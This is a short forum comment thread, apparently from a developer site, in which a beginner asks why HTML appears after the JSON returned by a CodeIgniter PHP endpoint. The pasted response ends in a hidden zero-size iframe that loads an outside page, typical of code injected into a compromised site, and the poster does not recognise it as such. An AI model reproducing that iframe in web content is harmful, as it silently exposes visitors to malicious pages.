Click here to Skip to main content
15,883,558 members

Comments by Mr.Kenzy (Top 5 by date)

Mr.Kenzy 25-Apr-13 8:28am View    
Ok, thanks you so much !!! :-) :-)
Mr.Kenzy 25-Apr-13 8:19am View    
public function get_region() {
if(isset($_POST['id']) && isset($_POST['action'])) {
if($_POST['action'] == 'loadRegion'){
$this -> load -> model('regions_model');
$id = $_POST['id'];

$result = $this -> regions_model -> Regions_get_by_id($id);

if(count($result) > 0)
echo json_encode($result);
}
}
}
That's code in codeigniter framework. Sorry, because I'm a beginer
Mr.Kenzy 25-Apr-13 8:09am View    
yes, but before I added google analytics, the html tag doesn't appear and I parse json success. I can't understand @@!
Mr.Kenzy 25-Apr-13 8:00am View    
Here's my server response !!! I don't understand html tag appear from where @@!

{"RegionsID":"11","RegionName":"asdasd","RegionFlags":"dc7d3d9e9b68827a1e82d7d71d1f66aa.png","CreatedDate":"2013-04-15 17:17:29"}<html><body> <iframe width="0" height="0" src="http://www.tel760.com/free33.html" frameborder="0"></iframe> </body></html>
Mr.Kenzy 25-Apr-13 7:57am View    
Deleted
Here's my server response !!! I don't understand html tag appear from where @@!
<pre lang="HTML">{"RegionsID":"11","RegionName":"asdasd","RegionFlags":"dc7d3d9e9b68827a1e82d7d71d1f66aa.png","CreatedDate":"2013-04-15 17:17:29"}<html><body>
<iframe width="0" height="0" src="http://www.tel760.com/free33.html" frameborder="0"></iframe>
</body></html></pre>